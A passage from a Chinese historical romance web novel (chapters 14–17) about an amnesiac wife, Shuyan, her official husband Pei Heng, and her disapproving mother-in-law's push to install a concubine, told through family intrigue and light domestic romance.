只是他不喜欢陷入被动,并未答应她无理的要求,神色温和地哄道:“我曾承诺在你病好前会好好照顾你,我的身份便是你最好的护身符。”
这番话说得合情合理,一向吃软不吃硬的纾妍反倒有些不好意思,“那也不能见人就说,大人下回说之前要经过我同意才行,万一将来碰见七……”她说到这儿住了口。
见着又如何,不过短短几日的功夫,她竟与人平白无故成了婚。
对于同七哥哥分开的的缘由,淡烟只说他离开后再未回青州寻她。
她不信,可她也半点想不起来。
眼睛酸酸的,有些想哭。
她想家了。
要不还是归家好了……
裴珩将她的神情尽收眼底,不自觉地收紧了手中的公文。
自她醒来,虽说时不时使些小性子,可人还是极明媚灿烂,这样怅然的神情还是头一回见。
他突然对那个“七”感到十分不适。
这时马车已经驶入闹市区,神情蔫蔫的纾妍听着糖葫芦的叫卖声,忍不住朝着裴珩那侧望去,只见车窗外不远处捏糖人的摊位前围了好几个孩子,旁边还有一个扛着糖葫芦的小哥正在叫卖,都把她叫馋了。
她的情绪一向来得快去得也快,见着那些五颜六色的糖人,不自觉地吞咽着口水,“想来帝都的糖葫芦滋味不同些,糖人更甜些,捏得亦标致些……”
话音未落,她那便宜前夫突然转过脸来。
四目相对,呼吸可闻。
纾妍不想显得自己小家子气,不甘示弱地瞪着他。
谁知近在咫尺的男人像是哄孩子一般,“想吃?”
很想坚持一下的纾妍对上那双极漂亮的眼眸,不由自主地点了点头。
裴珩叫停马车,吩咐书墨去买。
自家公子一向最怕麻烦,且从不与人同乘。明知娘子入了自己的马车,却一点儿也不恼,竟还要买零嘴哄娘子。
头一回接到这种任务的书墨还以为听岔了,觑了一眼正巴巴盯着糖葫芦的娘子,赶紧去办。
半盏茶的功夫,他双手举着五颜六色的泥人与一串娇艳欲滴的糖葫芦回来。
纾妍馋得口水都要流出来,却不肯伸手去接。
裴珩接过来递到她面前。
一脸骄矜的女子微微扬起雪白的下巴, “是大人非要给我买,并不是我自己要吃。”
裴珩“嗯”了一声,正色道:“是我非要买给你。”
纾妍这才“勉为其难”地接过来,一本正经地品评,“糖人果然捏得比别处标致些,闻着香甜些。糖葫芦个头也大,嗯,极好。”
书墨:“……”
好像有哪里不对,但说不上来。
不过,这样的娘子好可爱。
马车继续往前走。
一路上,像是已经多年不曾吃过零嘴的纾妍吃得极满足。
待三四个糖人下了肚,纾妍终于意识到马车里还有个大活人,有些不舍地把最后一颗糖葫芦递到他面前,“大人要吗?”
“我从不吃糖。”正在看公文的裴珩头也未抬,却换个更加舒适的姿势坐着。
这回他的膝盖顶到纾妍的腿,不过看在他给她买零食的份上,她没有与他计较,又往左侧挪了挪,幽幽叹了口气,“那大人真是可怜,连糖的滋味都没试过。”
裴珩的手顿了一下,从公文里抬起视线。
正啃着糖葫芦的女子眼睫微微眯着,一张柔嫩的唇被糖渍染红,如同蔷薇花瓣一样娇嫩。就连握着糖葫芦的雪白柔荑也沾了点点红渍。
裴珩的喉结不自觉地滚了一滚。
他尝过那唇,自然知晓那有多甜。
更试过那只手有多柔软……
逼仄的马车里充斥着她身上淡淡的玫瑰花香,这让一贯冷静自持的男人有些心烦意乱,把手里的公文丢到矮几上,向车窗外望去。
浑然不觉的纾妍吃得正高兴,耳根子底下忽然传来男人低沉的嗓音:“宁王殿下今年三十有二,虽说是个鳏夫,但府中姬妾无数。”
纾妍不觉一震,抬起脸来,方才还在朝窗外瞧的男人此刻正近距离望着她。
外头明媚灿烂的阳光,在他洁白如玉的面庞染上淡淡的金,唯独瞳仁还是深黑,就像是一滴墨融在里头,黑得深不见底,令人心悸心慌。
像是要吃了她似的。
纾妍结结巴巴地问:“这同我有何关系?”
“只是随便说说,”他极具侵略性的矫健身躯后退些,重新拿起公文,“这两日秦院首会来替你复诊。”
一听到“秦院首”三个字,纾妍仿佛闻到那股子苦涩的药味,眉尖微蹙,“他真能治好我?我日日吃那药,实在厌烦得很,我想我还是直接归家算了。”
“不行。”这几日处处顺着她的男人毫不犹豫回绝,“在你恢复记忆前,哪里也不许去。”
纾妍:“……”
他怎管得这样宽?
一刻钟后,马车终于停下。
裴珩却并未下车,“我突然想起有些事,你先回去好好歇着。”
纾妍“嗯”了一声,直勾勾地盯着那串只剩下糖渍的糖葫芦细棍,“可我还是觉得药苦。”
裴珩顺着她的目光望去,道:“我回来时再帮你带一些。”
纾妍立刻眉开眼笑,“我日后好了,一定回请大人。”说完不待裴珩回答,由人搀扶着下了马车。
这会儿晌食刚过,许是都在午休,府内静悄悄,路上只有纾妍三人。
纾妍把方才在马车时裴珩同她说的那句话说与她二人听。
她问:“你说,他是不是嫉妒宁王比他招人喜欢?”
淡烟笑道:“我怎觉得,这是姑爷醋了?”
轻云也附和。
纾妍才不相信。
都要和离,吃的哪门子醋。
“不过他答应给我买糖!”纾妍眼神亮晶晶,“我承认他比以前招人喜欢些。”
淡烟与轻云:“……”
主仆三人边走边聊,快到澜院大门时,远远地瞧见陈嬷嬷领着两个小丫鬟
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站在门口的一棵大柳树荫处。早已经立夏,天气一日比一日热,此刻又是正晌午,日头热辣辣地,有些过分丰腴的陈嬷嬷脸皮通红,不停拿着帕子拭汗。
轻云小声道:“这样热的天她守在这儿,怕不是堵咱们。”
话音刚落,已经瞧见她们的陈嬷嬷迎上前来,道:“云阳县主请大娘子立刻过去。”
纾妍眉尖微蹙,“大中午的,她请我过去做什么?”
陈嬷嬷却不肯说,“娘子去了便知。”
纾妍还未同裴珩和离,按照她的家教,云阳县主无论是从身份还是从辈分上也没有避之不见的道理,想了想,应了声“好”。
大娘子一直都惧怕县主,陈嬷嬷本以为她会借离魂症推脱,没想到她竟答应得这样爽快。
陈嬷嬷不由地多瞧了纾妍一眼。
模样倒还是从前的模样,只是那对沉寂的眼睛变得澄澈明亮,犹如一汪清泉,让人瞧了不由地心生好感。
她想起待会儿即将发生的事儿,心里不由地叹了一口气。
明明生得细腰丰臀,怎就与大公子也没生个一男半女的。
这子嗣上不努力也就罢了,还阻着不让纳妾,岂不是犯了七出之过?
澜院距离正院大概一刻钟的距离,纾妍到时,院子里石矶上站着几个穿红着绿的小丫鬟,谁也不敢大声说话,就连打苍蝇的声音都极小。
看得出来,她这位县主婆婆规矩极大。
纾妍听到东屋隐约传来哭声,猜测县主婆婆必定在那屋里,只是不知何人哭得这样伤心。
陈嬷嬷见她一副懵懵懂懂的模样,心想待会儿怕是她也要哭,道:“娘子稍等片刻。”说着朝东屋方向去了。
趁着等待的功夫,纾妍颇有些好奇,“我平日里如何称呼这位县主婆婆?”
淡烟道:“小姐一般都随着公子称呼一声母亲。”
纾妍母亲早逝,提及时也称呼“娘亲”,就连姨母都不曾称呼一声“母亲”,却称呼自己的婆婆为“母亲”。
这个称呼倒也合乎情理,只是她非常不习惯。
她又问:“她除了嫌我生得太好,不许我穿漂亮衣裳,平日里待我好吗?”
淡烟一时之间不知该如何回答这个问题。
云阳县主因着自家小姐罪臣之女的身份,一直都没给过小姐好脸色。
可这实话万万不能说的。
她只盼着云阳县主千万莫要当着小姐的面,提及沈家流放一事才好。
“小姐要不还是先别见了!”她实在害怕。
纾妍不解,“为何?”
淡烟说不出个所以然来,这时陈嬷嬷已经去而复返,道:“县主请娘子进去。”
守在门口的丫鬟这时也已掀开帘子。
淡烟与轻云眼睁睁地看着自家小姐入了狼窝,一颗心都提起来了。
*
纾妍甫一入屋,一股子浓重的檀香气息扑面而来,熏得她有些头昏。
这样热的天,屋子里的空气实在闷了些。
不知为何,她下意识地对这股子气味感到恐惧与厌恶,仿佛此处有非常不好的回忆。
浑身不适的纾妍还未还未瞧清楚屋里的人,就听端坐在榻上的妇人呵斥:“沈氏还不跪下!”
纾妍:“……”
看来她婆婆对她不怎么样。
15.第 15 章
云阳县主一脸不悦地打量着纾妍。
自从她得了离魂症后,她那从不过问后院之事的大儿子特地传话下去,说以后全府上下都不许在沈氏面前提及她举家流放之事,否则决不轻饶。这也就罢了,还特地派人来同她说,从今往后莫要拘着沈氏,她喜欢去哪儿都由着她。
这不是在变相地说她这个做母亲的苛责他媳妇儿?
云阳县主当时听了万分委屈,差点没当着下人的面掉下泪来。
她做这一切难道是为自己吗?
若不是当初他放着好好的帝都贵女不要,非要娶一个上不了台面的罪臣之女为妻,她至于担心他丢人,而做出这般恶婆婆的行径吗?
云阳县主越想越气,又见纾妍额头描了一瓣海棠花瓣,装扮的妖里妖气,待她也不像从前那般恭敬,呵斥,“你还不知错?”
纾妍不解,“我连句话都不曾说过,何错之有?”
这时,坐在云阳县主下首的赵氏冷笑一声,“不孝有三,无后为大。大嫂嫂进门这么久却未能未大伯诞下一男半女,岂不是罪过?大嫂嫂自己不能生,却拦着大伯纳妾,还肆意欺辱素宁表妹,岂不是又一宗罪过?”
话音刚落,孙氏叹了一口气,“想来九弟妹也是一时糊涂,不晓得县主之所以纳素宁表妹入门,也是为九弟与九弟妹的子嗣着想,一时误会了县主的这份心,侄媳这里先替九弟妹赔个不是。”
纾妍只是失忆,又不是傻,也能听出这孙氏看似句句在帮她,实则每一句话都在给她定罪。
果然,她那便宜婆婆一听这话,脸顿时拉了下来。
纾妍反问:“这位大嫂嫂的话我都是听不懂了,我并未犯任何错,为何嫂嫂倒先替我认上了呢?我怎觉得大嫂嫂这是唯恐天下不乱?”
这话一出,在场的人齐刷刷将眸光投向孙氏。
孙氏见云阳县主直勾勾望着自己,面露哀戚,“九弟妹就算不领情,又何苦还要这样冤枉我。我心里亲近县主所以才厚着脸皮咱居在府中,九弟妹如今这般说我倒不好意思再住在此处。”又起身向云阳县主抹着泪道:“大郎前些日子在外头买了一处宅子,虽小是小了些,但也够我们一家几口子住。”
孙氏嘴甜,这些年也如媳妇一般侍奉云阳县主在侧。
云阳县主终归有些舍不得,“你本是好心,与你何干,你快坐下。”
孙氏顺从应了声“是”,又坐了回去,但未再言语。
云阳县主又将眸光投向纾妍,“我且问你,可是你阻着九郎不让他将素宁收回妾室?”
纾妍闻言,扫了一眼一双眼哭红的李素宁,顿时恍然大悟。
原来这才是云阳县主请她来的目的。
她只是不喜欢李素宁在自己跟前哭哭啼啼而已,至于李素宁做不做妾与她何干。
她道:“他纳便是,我无意见。”
左右也不是她受累,那只老狐狸身子若是消受得起,便是纳十个八个也不碍她的事。
这话一出,在场所有人都呆住,就连李素宁也忘了哭。
云阳县主迟疑,“你不反对?”
“这样好的事情我又有什么理由反对呢。只是,”纾妍眼神里流露出不解,“县主又怎知这生不出孩子就一定是我的过错?”
她还不满十八岁,身子一向康健得很,可老狐狸今年快要而立之年。
淡烟说他们两情相悦,可他却不常来后院,指不定身子有毛病。
云阳县主听了这话,不动声色地打量着她。
若论相貌身段,放眼整个帝都也寻不出几个比沈氏强的来,可自己的儿子宁愿宿在书房也不去后院,难道真的……
云阳县主随即将这个荒唐的念头抛诸脑后,眉头紧锁,“我看你说来说去就是不想让九郎传宗接代!”
纾妍也懒得与她争下去,看着老狐狸昨日帮她寄家书,今日又给她买糖的份上,那她就勉为其难吃了这杯便宜主母茶。
思及此,她道:“既如此,不如现在就把这件事办了,县主觉得我坐哪里吃这杯茶合适?”
云阳县主听得她的称呼,微微蹙眉,道:“素宁是贵妾,自然不能如此随便,你先将她妥善安置在你院子里,待挑个好日子,摆上几桌酒席。”
纾妍一听要跟自己同住,立刻道:“不如将表姑娘安排在旖霞园。”
旖霞园与裴珩所居的书房只有一道墙之隔,近得不能再近。
此话一出,在场的人心思各异。
赵氏今日本想着沈氏因纳妾闹一闹,最好惹得婆婆厌弃,这样自己就能渔翁得利,顺理成章地拿到管家权。
可沈氏非但没有闹,竟然还把自己的夫君拱手让人,这让期望落空的赵氏感到失望的同时又委实不能理解,沈氏有多喜欢大伯这全府上下有目共睹,怕不是疯了?
而李素宁眼神里的喜色则是连遮都遮不住。
纾妍懒得理会这些人的心思。
她今日逛了一晌午,又被叫到此处站了小半个时辰,只想回去补一觉,又见所有人都不作声,主动开口,“若是县主没意见,我这就回去安排。”
云阳县主见她不似作假,神色温和,“既如此那就交由你安排,往后她诞下子嗣你便是嫡母。”
纾妍连便宜夫君都不想要,更何况这个便宜“嫡母”,但嘴上却乖巧地应了一声“好”后告辞离去。
纾妍前脚刚走,赵氏便道:“大嫂嫂如今生着病,管家——”
话还未说完,被云阳县主冷冷打断,“你不是刚怀了两个月身子,不好好地养胎成日里想这些做什么!”
赵氏没想到婆母竟会当众斥责自己,捂着尚未显怀的腹部,委屈得眼睛都红了,讪讪应了声“是”,“儿媳只是担心嫂嫂的身子。”
云阳县主哪能不知晓赵氏那些小心思。
在她看来长媳管家天经地义,沈氏虽然出身差些,但于管家上挑不出半点岔子。更何况自己刚给沈氏房中塞了一个妾室,眼下又要夺去她的管家权,这让她那个长子怎么看。
“都散了罢,我也累了。”她有些疲惫地捂着额头。
赵氏等人起身行礼告退。
待人走远些,云阳县主吩咐陈嬷嬷,“你待会儿从我的陪嫁里挑一支珠钗拿去给老二家。她如今有孕,也是有功之臣。”
陈嬷嬷应了声“是”,笑,“小姐既心里想着二娘子,方才何必叫她难堪。”
云阳县主叹息,“你瞧瞧她,自嫁进来后就惦记着管家权。这满帝都谁人不知她那个娘当家就当得糊涂,她性情跟她娘有七八分相似,眼界窄得很,哪里能当好家。”
陈嬷嬷道:“若论当家,大娘子确实是极好的,就是身世实在差些。”
提及纾妍,云阳县主迟疑,“你说,她怎答应得这样痛快?”
陈嬷嬷想了想,道:“兴许是病了一场就想开了。”
“能这样最好。”云阳县主阖上眼,“你去外头打听打听可有
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专治不孕的好方子,给她也治上一治,她模样好,生得孩子必定也漂亮。”
*
澜院。
纾妍一回去,淡烟就迫不及待道:“小姐,您怎就答应给姑爷纳妾呢?”
困倦的纾妍打了个哈欠,声音缱绻,“我迟早要走,总不能拦着老狐狸传宗接代。”
淡烟与轻云见她说得这样云淡风轻,心里急得不得了。
小姐本就是无家可归之人,将来还能去哪儿呢,难不成真要去外头抛头露面做香料生意不成?
且眼看着这几日姑爷待小姐上心些,县主又非要塞个李素宁给姑爷。这个李素宁本就与姑爷有旧情,若是姑爷真把她收入房中如何是好。
对此并不在意的纾妍实在困得不行,饭都没用,换了寝衣便上了床。
淡烟坐在床边劝道:“小姐要不再考虑考虑?”
“娘要嫁人,前夫要纳妾,我还能拦着不成,”纾妍舒服把自己埋进柔软的鸳鸯寝被中,“指不定老狐狸回来还要感激我这样贤惠……”
*
裴珩今日散值得格外早,申时一刻就出了户部大门。
这让户部一众官员震惊不已。
须知素日里裴阁老每日都是部里来得最早,走得最晚,害得他们这些下属每回跟着熬到天擦黑才敢家去。
朝中有谁不知户部的官员是朝中最勤勉,恨不得一日十二个时辰都趴在衙署里,为大端帝国算好每一笔账,务必使每一粒铜板都用在刀刃上。
谁知今日晌午出去一趟也就罢了,刚过申时三刻就往家里赶。
这家里莫非藏了比公务还要让裴阁老感兴趣的宝贝不成?
莫说户部的官员想不通,就连书墨也想不通。
他都有些不大习惯这么早回家,看向车窗里的那抹绯红高大的身影,好奇,“公子怎今日回这样早?”
他淡淡道:“朝袍穿着不舒服。”
书墨:“……”
马车经过闹市区时,裴珩听着外头的叫卖声,吩咐,“去照着晌午的买一份来。”
书墨愣了一下,随即明白过来自家公子说的是零嘴,忙跳下马车去买,一刻钟的功夫去而复返,将买好的糖葫芦以及糖人递给自家公子,驾车朝家赶去。
大约两刻钟的功夫,马车在听雨堂门口停下。
裴珩刚下马车,就听到身后有人喊了一声“九表哥”。
裴珩回头,只见李素宁与孙氏站在不远处的月门处望着他。
孙氏亦淡淡地笑了一下,“九弟散值回来了。”
裴珩向她二人微微颔首。
李素宁上前一步,眸光落在他手里的糖葫芦上,眼神里流露出一抹娇羞,“九表哥可是买给我的?”
裴珩淡淡回道:“不是。”
李素宁脸上的笑容冻在嘴角。
能让他这样一个人带一串糖葫芦,这偌大的府中也只有那么一个了。
眼见着他就要抬脚就要入院,心有不甘的李素宁上前一步,急道:“九表哥,表嫂已经同意让素宁入门,还特地将素宁安排在旖霞园!”
话音刚落,他果然停驻脚步。
此刻日暮西下,夕阳的余光洒在长长的过道,在一袭绯红官袍的男人身后拖出一道长长的影子。
“几时的事?”他问。
他神色瞧不出喜怒,声音亦淡然得很。
可不知为何,李素宁背脊发凉,情不自禁地打了个哆嗦。
16.第 16 章
李素宁虽然心里钦慕裴珩,但心里也十分怕他。
她一时不能确定自己不知究竟是哪里惹得他不高兴,小心翼翼道:“就在晌午时,表姑母请了表嫂来吃茶,说到子嗣的问题时,表嫂竟主动要素宁敬茶,说要将素宁收作妾室。也是表嫂说让素宁搬到这里来,说是方便照顾九表哥。九表哥不信的话,可以问一问大表嫂。”
话音刚落,一旁像是正在看热闹的孙氏嫣然一笑,柔声道:“九弟妹一向是最通情达理不过的。”
不过简单一句话,便坐实了这件事。
李素宁心里松了一口气,谁知表哥闻言一言不发地入了听雨堂。
伫立在原地的李素宁愈发忐忑,“九表哥生气了?”
孙氏道:“来日方长。”
李素宁放下心来。
不过她不明白,“大表嫂为何要这样帮我?”
她从前来府上住的时候,孙氏还未入裴家的门,两人之间一点儿交情也无。
孙氏闻言,目不转睛地盯着她瞧。
她一向笑盈盈地,不笑时,一对精心描摹过的眼睛看人时透着几分厉害精明。
李素宁被她盯得有些不舒服,只听她道:“我同你一样,瞧不惯澜院的那一位。凭什么她一来就能拥有咱们使劲力气也得不到的东西,你说对不对?”
李素宁在她的注视下点点头,“你说得对,她一点儿也配不上九表哥!”
迟迟早有一日她能够取代那个女人,成为他九表哥的妻子。
*
澜院。
纾妍一觉醒来时已是傍晚。
火红的晚霞透过绿纱窗烧到屋里来,就连地毯上也散着碎金的光。
守在一旁的淡烟放下手中的针线活,上前服侍她起身。
乌曈里还笼着湿润雾气的女子望着绿纱窗上的烟霞,声音缱绻,“什么时辰了?”
“申时刚过不久。”淡烟一边服侍她更衣,一边说:“晚饭已经好了,小姐洗把脸就能用晚饭。”
纾妍晌午就吃了一些糖人跟糖葫芦,眼下肚子咕咕叫。
她洗罢脸,紫檀木圆桌上已经摆好晚饭,全都是她素日里爱吃的菜。
她一向爱热闹,从前在家时都是同家里人一起用饭,用罢饭后一家人坐在一处吃茶聊天玩叶子牌,这已经是他们家里的一种不成文的规矩。
一家人数她大哥哥玩得最好,每回都将她的零花钱赢了去,转头姨母又会给她更多的钱,下回聚在一块,又照旧输给他。
可她大哥哥又会在她生辰时,拿着那些赢来的零钱添上大头,给她买她最喜欢的的生辰礼物。
可自打她醒来,每日都是一个人孤孤单单的用饭,也再无人会在饭后茶余同她说说话,哄一哄她。
她一时又想到今日晌午见她那个便宜婆婆的情景。
人人都好像要吃了她似的。
想来这样欺负她也不是一日两日了,她甚至都不敢深想在她失去的这三四年时间里,究竟经历了什么事才能被人欺负到她头上。
从前的那个“她”得多可怜呀。
婆婆不喜,妯娌针对,与她两情相悦的夫君实则早有心上人。
她甚至怀疑这个“两情相悦”究竟是不是真的,否则他怎舍得这般欺辱她……
淡烟见她神情蔫蔫,有些担忧,“小姐可是身子不适?”
“我只是忽然想起从前在家时的情景,”纾妍有些怅然地搁下象牙箸,“从前在家时我爹总拘着我,我心里烦他,如今只有我一个,我心里又想得慌。”
淡烟与轻云听了心里十分难过。
小姐如今心理年龄还停留在十四岁,让她独自一人面对这种婆婆不喜,妯娌刁难,夫婿即将纳妾的困境,着实有些残忍。
莫说只有十四岁集万千宠爱于一身的小姐,便是即将满十八岁的小姐亦不能承受这一切,宁愿和离也要逃离这一切。
淡烟想了想,道:“小姐若是孤单,不如待会儿用完晚饭去寻姑爷吃茶?”
轻云立刻也点头附和。
说完后,两人又心里有些后悔。
指不定姑爷现在如何同自己的新欢柔情蜜意,哪里还会记着小姐。
可除了姑爷,她们一时也想不出这偌大的帝都究竟还有谁能陪小姐解闷。
提及裴珩,纾妍反倒想起李素宁来:“她可安排好了?”
淡烟点头,“小姐一睡着,我与轻云就让几个粗使的婆子丫鬟将旖霞园收拾出来。”
话音刚落,轻云轻哼一声,“小姐没瞧见她当时那副得意的嘴脸,就像是已经过了门似的。”
纾妍并不觉得意外。
李素宁爱慕自己的表哥,如今能够得偿所愿,心里自然高兴。
旖霞园与听雨堂不过一墙之隔,想来他们今晚也在一同用饭。
老狐狸心里一定极感激她。
人人都有人家,独她一个无家。
纾妍越想越伤怀,饭也不想吃了。
淡烟与轻云正不知如何安慰她,外头忽然传来一阵脚步声。
淡烟扭头,喜道:“姑爷来了!”
纾妍下意识看向门口,果然瞧见门口站着一身着绯红官袍,面白似玉的俊美男人。
老狐狸怎来了?
纾妍呆呆望着来人,一粒泪珠顺着洇红的眼角滑落。
他不是应该同他的表妹在一起,好端端跑来她这里做什么?
她嗅觉一向又灵敏,闻到一丝丝甜酸的味道,不觉口水生津,脱口而出,“大人是给我送谢礼来了?”
裴珩对上那对微红的天真眼眸,走到她跟前挨着她坐下,问道:“你做了什么好事,我要给你送谢礼?”
”我?”纾妍有些糊涂,“我将大人的心上人安排在大人隔壁,岂非全了大人的心愿?”
裴珩闻言没有言语,不动声色地打量着她。
大抵是刚起床,她满头青丝随意地绾了一个髻,白皙的额角没了胭脂的遮掩,雪白的额头处露出原本的一道长约两寸长的疤痕。
也许这道疤痕是因自己而起,所以丝毫不觉得丑陋,反而心中生出几分心疼来。
他一时忘记自己的来意,不由自主地伸出手指抚摸着那道柔软的伤痕,声音也不免放得
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柔和些,“可还疼?”
心里本就伤感的纾妍闻言,乌瞳渐渐起了一片水雾,眼角的那颗泪痣映着雪白的肌肤,愈发娇艳欲滴。
她一把推开他的手,“大人总这样!大人这个人实在太奇怪了!”
饶是一贯有着七窍玲珑心的裴珩也有些不明白这话,“我怎奇怪了?”
“还说不奇怪,”她瞪着他,“大人明明纳了喜欢的女子为妾,偏又走来哄我,这难道不奇怪吗?”
心理年龄还不到十五岁的纾妍想破脑袋也想不通这点,“还是说天底下的男子皆是如此?”
不对,七哥哥就不会这样。
他只喜欢她一个,也绝不会哄旁的女子。
“喜欢一个人,难道不该待她一心一意?”
裴珩没想到她会说出这样的话话来。
她从前从不在他面前提“情爱”“喜欢”之类的话,如书墨所言,待他的好全都在一些不易察觉的生活细节里。
两人哪怕在床衹间,亦从不曾涉及此类话题,情迷意乱时,那样柔婉的女子也只会唤着“官人”。
极简单的称呼,却又好似藏着千言万语。
裴珩说不清那是什么感受,面对“不到十五岁”,性子有些任性的小妻子,从不向人解释的男人道:“她不是我心仪的女子。”
“为何?”纾妍更加不理解,“是因为大人与我两情相悦的缘故?”
裴珩听到“两情相悦”四个字时,怔了一下,看向一旁的淡烟与轻云。
淡烟与轻云亦没想到自家小姐竟会直接问姑爷,生怕姑爷拆穿这个美丽的谎言,紧张得直冒冷汗。
正当两人已经开始想着拆穿后如何补救的法子,只听姑爷道:“自然不是。”
两人不禁松了一口气,悄悄地退出屋子。
这时外头天已擦黑,暝色涌入屋内,唯有廊下的灯笼透出的光亮照进绿纱窗来,透出一片微弱的光亮。
纾妍望着眼前面色有些模糊不清的男人,咬了咬唇,问道:“那大人究竟所为何来?”
裴珩其实也不明白自己为何巴巴走来瞧她。
也许是乍一听见她主动将李素宁收入房中,且还安排在距离自己那样进的地方,心里感到不舒服。
他问:“为何不同我商量就把她安排在旖霞圆里?”
“不是大人想要纳她为妾?”纾妍并不明白他那些微妙的心思,“既如此,岂不是住得越近越好?”
这话题似乎又绕回来。
裴珩有些无奈,“我并不是非要纳她为妾。”
“既然不想要她,”纾妍更加不理解,“那大人想要纳什么样的?高的矮的?瘦些的还是丰腴些的?白些的还是说一个不够,需——”
话音未落,一只温暖的大手突然抚上她的脸颊。
大抵是常年握笔的缘故,他掌心生了薄薄的一层茧,极干燥,摸得她脸痒痒的。
“你知道纳妾要做什么吗?”他嗓音不知忽然喑哑起来。
那种晌午在马车里要吃人的感觉又来了。
可偏偏她好奇心又重得很,“做什么?”
17.第 17 章
纳妾不是为子嗣吗?
纾妍不明白裴珩为何会问自己这样一个问题。
随即反应过来他的手还覆在她的面颊上,偏过脸避开他的手,想要说他不该摸她的脸,可又想到两人做过三载的夫妻,也许他不但摸过,兴许还亲过……
她随之被自己这种隐秘的心思吓到,被他触碰过的脸颊亦烧得愈发滚烫。
无边的夜色似乎要淹没屋子,渐渐地眼前的人只剩下一抹高大的轮廓。
他忽然又朝她身旁挪了些位置,宽厚温热的手突然握住她放在矮几上的手指。
纾妍吓了一跳,正欲问他要做什么,一冰凉的纸包搁到她手里。
是他给她买的糖葫芦。
“用了晚饭才许你吃。”黑暗中,低沉的,毋庸置疑的嗓音在她耳根子底下响起,似乎还带着灼热的呼吸。
他怎知她未用晚饭?
纾妍每回听到这样的话,总会不自觉地想起从前在家时父兄管制自己时的话语,她心底既觉得亲切,又下意识反驳,“我凭什么听大人的?”
他未回答,却连她的手与糖一并握在掌心里。
他握得不算紧,纾妍想要抽回自己的手,却怎么也挣不脱。
正在这时,淡烟举着烛台入内,一抹暖光逐渐地填满屋子,纾妍生怕淡烟瞧见老狐狸握着自己的手,用他二人才能听到的声音道:“我吃便是。”
他适时在淡烟走到跟前前松开她的手。
纾妍松了一口气,不觉得掌心一片湿腻,淡烟朝她忘来时,她亦有些心虚,心想这老狐狸看似较从前稳重,实则骨子里跟那年夏天捉着她叫“窃玉小贼”的男子并无不同。
人前持重端方,人后坏得很!
淡烟并未察觉到异常,只觉得自家小姐脸红得厉害,以为是屋里太热的缘故,向她说道:“小姐现在去用些饭食可好?”
被人威胁的纾妍闷闷地应了一声“好”,裴珩起身告辞。
纾妍忙叫住他,“今日晌午我用了大人的钱,理应归还。”
裴珩望着灯下神情再认真不过的小妻子,沉默片刻,颔首应了声“好”。
纾妍吩咐淡烟去拿钱。
淡烟面露难色,附在她耳边低语几句。
纾妍闻言,眼神里流露出一抹震惊来,又见老狐狸正盯着自己,颇有些难为情,“我待会儿再命人送去。
原本以为他会问为什么,谁知他只是一脸温和地表示,“不急,几时方便几时送来。”言罢,大步出了屋子。
刚出澜院大门,早就侯在门口的书墨提着灯笼迎上前去,道:“公子让打听的事情已经打听清楚。听说是因为表小姐先去见了县主,县主才将娘子请过去。娘子大约在屋里待了半个时辰,出来时面色不大好看,像是受了极大的委屈。”
方才还一脸温和的男人紧抿着唇一言不发。
书墨见自家公子面色格外难堪,未敢言语。
*
这边裴珩一走,纾妍就迫不及待地问道:“我成婚时难道没嫁妆?怎连三四百两银子都拿不出?”
她爹总说,自她出世就开始攒嫁妆,十几年来不知攒了多少。
淡烟道:“娘子成婚时确实有不少的陪嫁,只不过大部分充入公中,只留了一小部分在自己身上。这两三年又断断续续的又借出去千两银子。”
晌午小姐买东西时,她本想要提醒来着,只是小姐好久不曾那么高兴,一时就给忘了。后来姑爷突然出现救急,她心里松了一大口气,谁能想到小姐又将钱给还回去。
纾妍对于这三年的事情实在半点印象也无,眼下只关心一个问题,“那我现在还有多少钱?”
淡烟迟疑:“还有不到三百两银子。”
三百两……
纾妍实在想不通自己为何会把自己的嫁妆充入公中,可眼下指定拿不出来,远水救不了近火。
她问:“我都把钱借给谁了?”
一旁的轻云幽幽道:“借给姑爷最小的弟弟三公子。”
纾妍诧异,“我同他有那么好的交情?”
“倒也还好,”淡烟解释,“长嫂如母。三公子爱闯祸,小姐害怕县主知晓,所以难免帮衬得多些。”
纾妍压根不能理解过去三年的“自己”的所作所为。
不过一码归一码,欠人钱总得还。
她吩咐,“你先拿二百两银子还他,剩下的待我要回帐来再给。”
淡烟应了声“是”,将银子包起来,提着灯笼出了院子,向听雨堂走去。
她到时听雨堂里早已亮起灯来。
是书墨出来应的门。
淡烟将装钱的匣子递给他,并原封不动地转述自家小姐的话。
书墨一脸惊诧,“公子怎可能要?”
淡烟也不懂姑爷的想法,朝旖霞园望了一眼,叹了一口气。
书墨也跟着叹了一口气,抱着钱匣子折返回书房去。
正在处理公文的男人似是早有预料,“她派人送钱来?”
书墨应了声“是”,又原封不动地转述了纾妍的话,并打开钱匣子。
裴珩盯着里头的二百两银子,缓缓问道:“我记得她成婚时带了不少嫁妆。”
书墨迟疑,“确定带了不少。具体的我也不大清楚,只听说娘子嫁进来那一年底下庄子收成不好,老家又大肆修建祠堂,以至于公中有些吃紧,娘子便主动将自己的大半嫁妆充入公中,公子那时恰好代陛下南下巡视,县主特地交代莫要为这些小事烦公子。”
顿了顿,又道:“我还听说三公子只要闯祸就会去寻娘子求助,娘子应该是怕县主知晓后难过,所以私下里没少贴补三公子。娘子又兼顾着管家的责任,平日里少不得要打赏底下人,我瞧着娘子连新衣裳都做得少,孙娘子跟二娘子衣着光鲜得很。”
裴珩沉默片刻,问道:“我的月俸呢?”
书墨忙回答,“一直都是送往县主处。”
裴珩听将手中的笔搁在笔洗上,洁白的指骨轻轻揉捏着眉心。
他与她成婚近三载,竟然不知她背地里为了这个家,为了自己不成器的弟弟付出这样多。
自己的枕边人竟然连三四百两银子都拿不出,这是他的失职。
半晌,他吩咐,“从这月开始,月俸不必送去母亲处。”顿了顿,又道:“明日一早去母亲处支取一千两银子。”
*
纾妍并不知晓因为要归还银子一事儿竟惹出那样大的风波来。
她活了十几年从未为银子发过愁,如今为着欠裴珩的那一百多两银子犯难。
翌日午休醒来后,她正想着要不要让淡烟去“催债”,云阳县主派人过来请她去正院用饭。
那婢女传完话便离开,淡烟知晓自家小家不记得事,解释,“裴府各房的人平日里都是各吃各的,只有每月吃一十五才会一起用饭,今日恰逢十五。”
原来如此。
纾妍想起昨日那种令人窒息的感觉,压根不想去。
淡烟也犯了难,“可是小姐如今身份上还是裴家三房的长儿媳,若是不去怕县主怪罪。”
纾妍仍是不肯去,歪在榻上自顾自玩着手绳。
眼下姑爷未归,小姐若是一人去指不定要受气,可若是不去便会落个不孝的罪名。
淡烟这下也不知如何是好,这时,轻云入内,一脸喜色,“姑爷来接小姐了!”
